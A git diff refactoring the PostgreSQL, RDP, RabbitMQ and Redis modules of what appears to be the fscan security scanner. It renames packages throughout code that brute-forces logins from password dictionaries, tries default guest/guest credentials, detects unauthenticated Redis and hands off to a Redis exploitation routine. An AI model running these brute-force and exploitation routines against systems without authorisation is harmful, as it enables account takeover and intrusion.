@ -409,5 +410,5 @@ func savePOP3Result(info *Common.HostInfo, target string, result *POP3ScanResult
"tls": result.IsTLS, "tls": result.IsTLS,
}, },
} }
Common.SaveResult(vulnResult) common.SaveResult(vulnResult)
} }

View File

@ -11,7 +11,8 @@ import (
"time" "time"
"github.com/lib/pq" "github.com/lib/pq"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
) )
// PostgresProxyDialer 自定义dialer结构体 // PostgresProxyDialer 自定义dialer结构体
@ -21,12 +22,12 @@ type PostgresProxyDialer struct {
// Dial 实现pq.Dialer接口支持socks代理 // Dial 实现pq.Dialer接口支持socks代理
func (d *PostgresProxyDialer) Dial(network, address string) (net.Conn, error) { func (d *PostgresProxyDialer) Dial(network, address string) (net.Conn, error) {
return Common.WrapperTcpWithTimeout(network, address, d.timeout) return common.WrapperTcpWithTimeout(network, address, d.timeout)
} }
// DialTimeout 实现具有超时的连接 // DialTimeout 实现具有超时的连接
func (d *PostgresProxyDialer) DialTimeout(network, address string, timeout time.Duration) (net.Conn, error) { func (d *PostgresProxyDialer) DialTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
return Common.WrapperTcpWithTimeout(network, address, timeout) return common.WrapperTcpWithTimeout(network, address, timeout)
} }
// PostgresCredential 表示一个PostgreSQL凭据 // PostgresCredential 表示一个PostgreSQL凭据
@ -43,22 +44,22 @@ type PostgresScanResult struct {
} }
// PostgresScan 执行PostgreSQL服务扫描 // PostgresScan 执行PostgreSQL服务扫描
func PostgresScan(info *Common.HostInfo) error { func PostgresScan(info *common.HostInfo) error {
if Common.DisableBrute { if common.DisableBrute {
return nil return nil
} }
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文 // 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel() defer cancel()
// 构建凭据列表 // 构建凭据列表
var credentials []PostgresCredential var credentials []PostgresCredential
for _, user := range Common.Userdict["postgresql"] { for _, user := range common.Userdict["postgresql"] {
for _, pass := range Common.Passwords { for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1) actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, PostgresCredential{ credentials = append(credentials, PostgresCredential{
Username: user, Username: user,
@ -67,11 +68,11 @@ func PostgresScan(info *Common.HostInfo) error {
} }
} }
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["postgresql"]), len(Common.Passwords), len(credentials))) len(common.Userdict["postgresql"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描 // 使用工作池并发扫描
result := concurrentPostgresScan(ctx, info, credentials, Common.Timeout+10, Common.MaxRetries) result := concurrentPostgresScan(ctx, info, credentials, common.Timeout+10, common.MaxRetries)
if result != nil { if result != nil {
// 记录成功结果 // 记录成功结果
savePostgresResult(info, target, result.Credential) savePostgresResult(info, target, result.Credential)
@ -81,18 +82,18 @@ func PostgresScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出 // 检查是否因为全局超时而退出
select { select {
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("PostgreSQL扫描全局超时") common.LogDebug("PostgreSQL扫描全局超时")
return fmt.Errorf("全局超时") return fmt.Errorf("全局超时")
default: default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials))) common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
return nil return nil
} }
} }
// concurrentPostgresScan 并发扫描PostgreSQL服务 // concurrentPostgresScan 并发扫描PostgreSQL服务
func concurrentPostgresScan(ctx context.Context, info *Common.HostInfo, credentials []PostgresCredential, timeoutSeconds int64, maxRetries int) *PostgresScanResult { func concurrentPostgresScan(ctx context.Context, info *common.HostInfo, credentials []PostgresCredential, timeoutSeconds int64, maxRetries int) *PostgresScanResult {
// 使用ModuleThreadNum控制并发数 // 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 { if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值 maxConcurrent = 10 // 默认值
} }
@ -138,7 +139,7 @@ func concurrentPostgresScan(ctx context.Context, info *Common.HostInfo, credenti
case <-scanCtx.Done(): case <-scanCtx.Done():
break break
default: default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred workChan <- cred
} }
} }
@ -159,14 +160,14 @@ func concurrentPostgresScan(ctx context.Context, info *Common.HostInfo, credenti
} }
return nil return nil
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("PostgreSQL并发扫描全局超时") common.LogDebug("PostgreSQL并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作 scanCancel() // 确保取消所有未完成工作
return nil return nil
} }
} }
// tryPostgresCredential 尝试单个PostgreSQL凭据 // tryPostgresCredential 尝试单个PostgreSQL凭据
func tryPostgresCredential(ctx context.Context, info *Common.HostInfo, credential PostgresCredential, timeoutSeconds int64, maxRetries int) *PostgresScanResult { func tryPostgresCredential(ctx context.Context, info *common.HostInfo, credential PostgresCredential, timeoutSeconds int64, maxRetries int) *PostgresScanResult {
var lastErr error var lastErr error
for retry := 0; retry < maxRetries; retry++ { for retry := 0; retry < maxRetries; retry++ {
@ -179,7 +180,7 @@ func tryPostgresCredential(ctx context.Context, info *Common.HostInfo, credentia
} }
default: default:
if retry > 0 { if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待 time.Sleep(500 * time.Millisecond) // 重试前等待
} }
@ -198,7 +199,7 @@ func tryPostgresCredential(ctx context.Context, info *Common.HostInfo, credentia
lastErr = err lastErr = err
if err != nil { if err != nil {
// 检查是否需要重试 // 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil { if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误 break // 不需要重试的错误
} }
} }
@ -213,18 +214,18 @@ func tryPostgresCredential(ctx context.Context, info *Common.HostInfo, credentia
} }
// PostgresConn 尝试PostgreSQL连接 // PostgresConn 尝试PostgreSQL连接
func PostgresConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) { func PostgresConn(ctx context.Context, info *common.HostInfo, user string, pass string) (bool, error) {
// 构造连接字符串 // 构造连接字符串
connStr := fmt.Sprintf( connStr := fmt.Sprintf(
"postgres://%v:%v@%v:%v/postgres?sslmode=disable&connect_timeout=%d", "postgres://%v:%v@%v:%v/postgres?sslmode=disable&connect_timeout=%d",
user, pass, info.Host, info.Ports, Common.Timeout/1000, // 转换为秒 user, pass, info.Host, info.Ports, common.Timeout/1000, // 转换为秒
) )
// 检查是否需要使用socks代理 // 检查是否需要使用socks代理
if Common.Socks5Proxy != "" { if common.Socks5Proxy != "" {
// 使用自定义dialer通过socks代理连接 // 使用自定义dialer通过socks代理连接
dialer := &PostgresProxyDialer{ dialer := &PostgresProxyDialer{
timeout: time.Duration(Common.Timeout) * time.Millisecond, timeout: time.Duration(common.Timeout) * time.Millisecond,
} }
// 使用pq.DialOpen通过自定义dialer建立连接 // 使用pq.DialOpen通过自定义dialer建立连接
@ -262,7 +263,7 @@ func PostgresConn(ctx context.Context, info *Common.HostInfo, user string, pass
defer db.Close() defer db.Close()
// 设置连接参数 // 设置连接参数
db.SetConnMaxLifetime(time.Duration(Common.Timeout) * time.Millisecond) db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Millisecond)
db.SetMaxOpenConns(1) db.SetMaxOpenConns(1)
db.SetMaxIdleConns(0) db.SetMaxIdleConns(0)
@ -296,15 +297,15 @@ func (c *postgresConnector) Driver() driver.Driver {
} }
// savePostgresResult 保存PostgreSQL扫描结果 // savePostgresResult 保存PostgreSQL扫描结果
func savePostgresResult(info *Common.HostInfo, target string, credential PostgresCredential) { func savePostgresResult(info *common.HostInfo, target string, credential PostgresCredential) {
successMsg := fmt.Sprintf("PostgreSQL服务 %s 成功爆破 用户名: %v 密码: %v", successMsg := fmt.Sprintf("PostgreSQL服务 %s 成功爆破 用户名: %v 密码: %v",
target, credential.Username, credential.Password) target, credential.Username, credential.Password)
Common.LogSuccess(successMsg) common.LogSuccess(successMsg)
// 保存结果 // 保存结果
vulnResult := &Common.ScanResult{ vulnResult := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: info.Host, Target: info.Host,
Status: "vulnerable", Status: "vulnerable",
Details: map[string]interface{}{ Details: map[string]interface{}{
@ -315,5 +316,5 @@ func savePostgresResult(info *Common.HostInfo, target string, credential Postgre
"type": "weak-password", "type": "weak-password",
}, },
} }
Common.SaveResult(vulnResult) common.SaveResult(vulnResult)
} }

View File

@ -4,7 +4,8 @@ import (
"context" "context"
"errors" "errors"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
"github.com/tomatome/grdp/core" "github.com/tomatome/grdp/core"
"github.com/tomatome/grdp/glog" "github.com/tomatome/grdp/glog"
"github.com/tomatome/grdp/protocol/nla" "github.com/tomatome/grdp/protocol/nla"
@ -38,43 +39,43 @@ type RDPScanResult struct {
} }
// RdpScan 执行RDP服务扫描 // RdpScan 执行RDP服务扫描
func RdpScan(info *Common.HostInfo) error { func RdpScan(info *common.HostInfo) error {
defer func() { defer func() {
if r := recover(); r != nil { if r := recover(); r != nil {
Common.LogError(fmt.Sprintf("RDP扫描panic: %v", r)) common.LogError(fmt.Sprintf("RDP扫描panic: %v", r))
} }
}() }()
if Common.DisableBrute { if common.DisableBrute {
return nil return nil
} }
port, _ := strconv.Atoi(info.Ports) port, _ := strconv.Atoi(info.Ports)
target := fmt.Sprintf("%v:%v", info.Host, port) target := fmt.Sprintf("%v:%v", info.Host, port)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文 // 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel() defer cancel()
// 构建凭据列表 // 构建凭据列表
var credentials []RDPCredential var credentials []RDPCredential
for _, user := range Common.Userdict["rdp"] { for _, user := range common.Userdict["rdp"] {
for _, pass := range Common.Passwords { for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1) actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, RDPCredential{ credentials = append(credentials, RDPCredential{
Username: user, Username: user,
Password: actualPass, Password: actualPass,
Domain: Common.Domain, Domain: common.Domain,
}) })
} }
} }
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["rdp"]), len(Common.Passwords), len(credentials))) len(common.Userdict["rdp"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描 // 使用工作池并发扫描
result := concurrentRdpScan(ctx, info, credentials, port, Common.Timeout) result := concurrentRdpScan(ctx, info, credentials, port, common.Timeout)
if result != nil { if result != nil {
// 记录成功结果 // 记录成功结果
saveRdpResult(info, target, port, result.Credential) saveRdpResult(info, target, port, result.Credential)
@ -84,18 +85,18 @@ func RdpScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出 // 检查是否因为全局超时而退出
select { select {
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("RDP扫描全局超时") common.LogDebug("RDP扫描全局超时")
return fmt.Errorf("全局超时") return fmt.Errorf("全局超时")
default: default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials))) common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
return nil return nil
} }
} }
// concurrentRdpScan 并发扫描RDP服务 // concurrentRdpScan 并发扫描RDP服务
func concurrentRdpScan(ctx context.Context, info *Common.HostInfo, credentials []RDPCredential, port int, timeoutSeconds int64) *RDPScanResult { func concurrentRdpScan(ctx context.Context, info *common.HostInfo, credentials []RDPCredential, port int, timeoutSeconds int64) *RDPScanResult {
// 使用ModuleThreadNum控制并发数 // 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 { if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值 maxConcurrent = 10 // 默认值
} }
@ -141,7 +142,7 @@ func concurrentRdpScan(ctx context.Context, info *Common.HostInfo, credentials [
case <-scanCtx.Done(): case <-scanCtx.Done():
break break
default: default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred workChan <- cred
} }
} }
@ -162,7 +163,7 @@ func concurrentRdpScan(ctx context.Context, info *Common.HostInfo, credentials [
} }
return nil return nil
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("RDP并发扫描全局超时") common.LogDebug("RDP并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作 scanCancel() // 确保取消所有未完成工作
return nil return nil
} }
@ -229,7 +230,7 @@ func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool,
} }
// saveRdpResult 保存RDP扫描结果 // saveRdpResult 保存RDP扫描结果
func saveRdpResult(info *Common.HostInfo, target string, port int, credential RDPCredential) { func saveRdpResult(info *common.HostInfo, target string, port int, credential RDPCredential) {
var successMsg string var successMsg string
if credential.Domain != "" { if credential.Domain != "" {
@ -240,7 +241,7 @@ func saveRdpResult(info *Common.HostInfo, target string, port int, credential RD
target, credential.Username, credential.Password) target, credential.Username, credential.Password)
} }
Common.LogSuccess(successMsg) common.LogSuccess(successMsg)
// 保存结果 // 保存结果
details := map[string]interface{}{ details := map[string]interface{}{
@ -255,14 +256,14 @@ func saveRdpResult(info *Common.HostInfo, target string, port int, credential RD
details["domain"] = credential.Domain details["domain"] = credential.Domain
} }
vulnResult := &Common.ScanResult{ vulnResult := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: info.Host, Target: info.Host,
Status: "vulnerable", Status: "vulnerable",
Details: details, Details: details,
} }
Common.SaveResult(vulnResult) common.SaveResult(vulnResult)
} }
// Client RDP客户端结构 // Client RDP客户端结构
@ -291,7 +292,7 @@ func NewClient(host string, logLevel glog.LEVEL) *Client {
// Login 执行RDP登录 // Login 执行RDP登录
func (g *Client) Login(domain, user, pwd string, timeout int64) error { func (g *Client) Login(domain, user, pwd string, timeout int64) error {
// 建立TCP连接 // 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second) conn, err := common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
if err != nil { if err != nil {
return fmt.Errorf("[连接错误] %v", err) return fmt.Errorf("[连接错误] %v", err)
} }

View File

@ -4,7 +4,8 @@ import (
"context" "context"
"fmt" "fmt"
amqp "github.com/rabbitmq/amqp091-go" amqp "github.com/rabbitmq/amqp091-go"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
"net" "net"
"strings" "strings"
"sync" "sync"
@ -26,35 +27,35 @@ type RabbitMQScanResult struct {
} }
// RabbitMQScan 执行 RabbitMQ 服务扫描 // RabbitMQScan 执行 RabbitMQ 服务扫描
func RabbitMQScan(info *Common.HostInfo) error { func RabbitMQScan(info *common.HostInfo) error {
if Common.DisableBrute { if common.DisableBrute {
return nil return nil
} }
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文 // 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel() defer cancel()
// 先测试默认账号 guest/guest // 先测试默认账号 guest/guest
Common.LogDebug("尝试默认账号 guest/guest") common.LogDebug("尝试默认账号 guest/guest")
defaultCredential := RabbitMQCredential{Username: "guest", Password: "guest"} defaultCredential := RabbitMQCredential{Username: "guest", Password: "guest"}
defaultResult := tryRabbitMQCredential(ctx, info, defaultCredential, Common.Timeout, Common.MaxRetries) defaultResult := tryRabbitMQCredential(ctx, info, defaultCredential, common.Timeout, common.MaxRetries)
if defaultResult.Success { if defaultResult.Success {
saveRabbitMQResult(info, target, defaultResult.Credential) saveRabbitMQResult(info, target, defaultResult.Credential)
return nil return nil
} else if defaultResult.Error != nil { } else if defaultResult.Error != nil {
// 打印默认账号的详细错误信息 // 打印默认账号的详细错误信息
Common.LogDebug(fmt.Sprintf("默认账号 guest/guest 失败,详细错误: %s", defaultResult.ErrorMsg)) common.LogDebug(fmt.Sprintf("默认账号 guest/guest 失败,详细错误: %s", defaultResult.ErrorMsg))
} }
// 构建其他凭据列表 // 构建其他凭据列表
var credentials []RabbitMQCredential var credentials []RabbitMQCredential
for _, user := range Common.Userdict["rabbitmq"] { for _, user := range common.Userdict["rabbitmq"] {
for _, pass := range Common.Passwords { for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1) actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, RabbitMQCredential{ credentials = append(credentials, RabbitMQCredential{
Username: user, Username: user,
@ -63,11 +64,11 @@ func RabbitMQScan(info *Common.HostInfo) error {
} }
} }
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["rabbitmq"]), len(Common.Passwords), len(credentials))) len(common.Userdict["rabbitmq"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描 // 使用工作池并发扫描
result := concurrentRabbitMQScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries) result := concurrentRabbitMQScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil { if result != nil {
// 记录成功结果 // 记录成功结果
saveRabbitMQResult(info, target, result.Credential) saveRabbitMQResult(info, target, result.Credential)
@ -77,18 +78,18 @@ func RabbitMQScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出 // 检查是否因为全局超时而退出
select { select {
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("RabbitMQ扫描全局超时") common.LogDebug("RabbitMQ扫描全局超时")
return fmt.Errorf("全局超时") return fmt.Errorf("全局超时")
default: default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了默认账号 common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了默认账号
return nil return nil
} }
} }
// concurrentRabbitMQScan 并发扫描RabbitMQ服务 // concurrentRabbitMQScan 并发扫描RabbitMQ服务
func concurrentRabbitMQScan(ctx context.Context, info *Common.HostInfo, credentials []RabbitMQCredential, timeoutSeconds int64, maxRetries int) *RabbitMQScanResult { func concurrentRabbitMQScan(ctx context.Context, info *common.HostInfo, credentials []RabbitMQCredential, timeoutSeconds int64, maxRetries int) *RabbitMQScanResult {
// 使用ModuleThreadNum控制并发数 // 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 { if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值 maxConcurrent = 10 // 默认值
} }
@ -134,7 +135,7 @@ func concurrentRabbitMQScan(ctx context.Context, info *Common.HostInfo, credenti
case <-scanCtx.Done(): case <-scanCtx.Done():
break break
default: default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred workChan <- cred
} }
} }
@ -155,14 +156,14 @@ func concurrentRabbitMQScan(ctx context.Context, info *Common.HostInfo, credenti
} }
return nil return nil
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("RabbitMQ并发扫描全局超时") common.LogDebug("RabbitMQ并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作 scanCancel() // 确保取消所有未完成工作
return nil return nil
} }
} }
// tryRabbitMQCredential 尝试单个RabbitMQ凭据 // tryRabbitMQCredential 尝试单个RabbitMQ凭据
func tryRabbitMQCredential(ctx context.Context, info *Common.HostInfo, credential RabbitMQCredential, timeoutSeconds int64, maxRetries int) *RabbitMQScanResult { func tryRabbitMQCredential(ctx context.Context, info *common.HostInfo, credential RabbitMQCredential, timeoutSeconds int64, maxRetries int) *RabbitMQScanResult {
var lastErr error var lastErr error
var errorMsg string var errorMsg string
@ -177,7 +178,7 @@ func tryRabbitMQCredential(ctx context.Context, info *Common.HostInfo, credentia
} }
default: default:
if retry > 0 { if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待 time.Sleep(500 * time.Millisecond) // 重试前等待
} }
@ -197,19 +198,19 @@ func tryRabbitMQCredential(ctx context.Context, info *Common.HostInfo, credentia
errorMsg = detailErr errorMsg = detailErr
// 打印详细的错误信息,包括所有原始错误信息 // 打印详细的错误信息,包括所有原始错误信息
Common.LogDebug(fmt.Sprintf("凭据 %s:%s 失败,错误详情: %s", common.LogDebug(fmt.Sprintf("凭据 %s:%s 失败,错误详情: %s",
credential.Username, credential.Password, errorMsg)) credential.Username, credential.Password, errorMsg))
if err != nil { if err != nil {
// 可以根据错误信息类型来决定是否需要重试 // 可以根据错误信息类型来决定是否需要重试
// 例如,如果错误是认证错误,则无需重试 // 例如,如果错误是认证错误,则无需重试
if strings.Contains(errorMsg, "ACCESS_REFUSED") { if strings.Contains(errorMsg, "ACCESS_REFUSED") {
Common.LogDebug("认证错误,无需重试") common.LogDebug("认证错误,无需重试")
break break
} }
// 检查是否需要重试 // 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil { if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误 break // 不需要重试的错误
} }
} }
@ -225,7 +226,7 @@ func tryRabbitMQCredential(ctx context.Context, info *Common.HostInfo, credentia
} }
// RabbitMQConn 尝试 RabbitMQ 连接 // RabbitMQConn 尝试 RabbitMQ 连接
func RabbitMQConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error, string) { func RabbitMQConn(ctx context.Context, info *common.HostInfo, user string, pass string) (bool, error, string) {
host, port := info.Host, info.Ports host, port := info.Host, info.Ports
// 构造 AMQP URL // 构造 AMQP URL
@ -243,7 +244,7 @@ func RabbitMQConn(ctx context.Context, info *Common.HostInfo, user string, pass
// 配置连接 // 配置连接
config := amqp.Config{ config := amqp.Config{
Dial: func(network, addr string) (net.Conn, error) { Dial: func(network, addr string) (net.Conn, error) {
dialer := &net.Dialer{Timeout: time.Duration(Common.Timeout) * time.Second} dialer := &net.Dialer{Timeout: time.Duration(common.Timeout) * time.Second}
return dialer.DialContext(ctx, network, addr) return dialer.DialContext(ctx, network, addr)
}, },
} }
@ -285,15 +286,15 @@ func RabbitMQConn(ctx context.Context, info *Common.HostInfo, user string, pass
} }
// saveRabbitMQResult 保存RabbitMQ扫描结果 // saveRabbitMQResult 保存RabbitMQ扫描结果
func saveRabbitMQResult(info *Common.HostInfo, target string, credential RabbitMQCredential) { func saveRabbitMQResult(info *common.HostInfo, target string, credential RabbitMQCredential) {
successMsg := fmt.Sprintf("RabbitMQ服务 %s 连接成功 用户名: %v 密码: %v", successMsg := fmt.Sprintf("RabbitMQ服务 %s 连接成功 用户名: %v 密码: %v",
target, credential.Username, credential.Password) target, credential.Username, credential.Password)
Common.LogSuccess(successMsg) common.LogSuccess(successMsg)
// 保存结果 // 保存结果
vulnResult := &Common.ScanResult{ vulnResult := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: info.Host, Target: info.Host,
Status: "vulnerable", Status: "vulnerable",
Details: map[string]interface{}{ Details: map[string]interface{}{
@ -304,5 +305,5 @@ func saveRabbitMQResult(info *Common.HostInfo, target string, credential RabbitM
"type": "weak-password", "type": "weak-password",
}, },
} }
Common.SaveResult(vulnResult) common.SaveResult(vulnResult)
} }

View File

@ -4,7 +4,8 @@ import (
"bufio" "bufio"
"context" "context"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
"io" "io"
"net" "net"
"os" "os"
@ -30,11 +31,11 @@ type RedisScanResult struct {
Credential RedisCredential Credential RedisCredential
} }
func RedisScan(info *Common.HostInfo) error { func RedisScan(info *common.HostInfo) error {
Common.LogDebug(fmt.Sprintf("开始Redis扫描: %s:%v", info.Host, info.Ports)) common.LogDebug(fmt.Sprintf("开始Redis扫描: %s:%v", info.Host, info.Ports))
// 设置全局超时上下文 // 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel() defer cancel()
target := fmt.Sprintf("%s:%v", info.Host, info.Ports) target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
@ -59,12 +60,12 @@ func RedisScan(info *Common.HostInfo) error {
select { select {
case result := <-resultChan: case result := <-resultChan:
if result != nil && result.Success { if result != nil && result.Success {
Common.LogSuccess(fmt.Sprintf("Redis无密码连接成功: %s", target)) common.LogSuccess(fmt.Sprintf("Redis无密码连接成功: %s", target))
// 保存未授权访问结果 // 保存未授权访问结果
scanResult := &Common.ScanResult{ scanResult := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: info.Host, Target: info.Host,
Status: "vulnerable", Status: "vulnerable",
Details: map[string]interface{}{ Details: map[string]interface{}{
@ -73,11 +74,11 @@ func RedisScan(info *Common.HostInfo) error {
"type": "unauthorized", "type": "unauthorized",
}, },
} }
Common.SaveResult(scanResult) common.SaveResult(scanResult)
// 如果配置了写入功能,进行漏洞利用 // 如果配置了写入功能,进行漏洞利用
if Common.RedisFile != "" || Common.RedisShell != "" || (Common.RedisWritePath != "" && Common.RedisWriteContent != "") { if common.RedisFile != "" || common.RedisShell != "" || (common.RedisWritePath != "" && common.RedisWriteContent != "") {
conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second) conn, err := common.WrapperTcpWithTimeout("tcp", target, time.Duration(common.Timeout)*time.Second)
if err == nil { if err == nil {
defer conn.Close() defer conn.Close()
ExploitRedis(ctx, info, conn, "") ExploitRedis(ctx, info, conn, "")
@ -87,29 +88,29 @@ func RedisScan(info *Common.HostInfo) error {
return nil return nil
} }
case <-ctx.Done(): case <-ctx.Done():
Common.LogError(fmt.Sprintf("Redis无密码连接测试超时: %s", target)) common.LogError(fmt.Sprintf("Redis无密码连接测试超时: %s", target))
return fmt.Errorf("全局超时") return fmt.Errorf("全局超时")
} }
if Common.DisableBrute { if common.DisableBrute {
Common.LogDebug("暴力破解已禁用,结束扫描") common.LogDebug("暴力破解已禁用,结束扫描")
return nil return nil
} }
// 使用密码爆破 // 使用密码爆破
credentials := generateRedisCredentials(Common.Passwords) credentials := generateRedisCredentials(common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试密码爆破 (总密码数: %d)", len(credentials))) common.LogDebug(fmt.Sprintf("开始尝试密码爆破 (总密码数: %d)", len(credentials)))
// 使用工作池并发扫描 // 使用工作池并发扫描
result := concurrentRedisScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries) result := concurrentRedisScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil { if result != nil {
// 记录成功结果 // 记录成功结果
Common.LogSuccess(fmt.Sprintf("Redis认证成功 %s [%s]", target, result.Credential.Password)) common.LogSuccess(fmt.Sprintf("Redis认证成功 %s [%s]", target, result.Credential.Password))
// 保存弱密码结果 // 保存弱密码结果
scanResult := &Common.ScanResult{ scanResult := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: info.Host, Target: info.Host,
Status: "vulnerable", Status: "vulnerable",
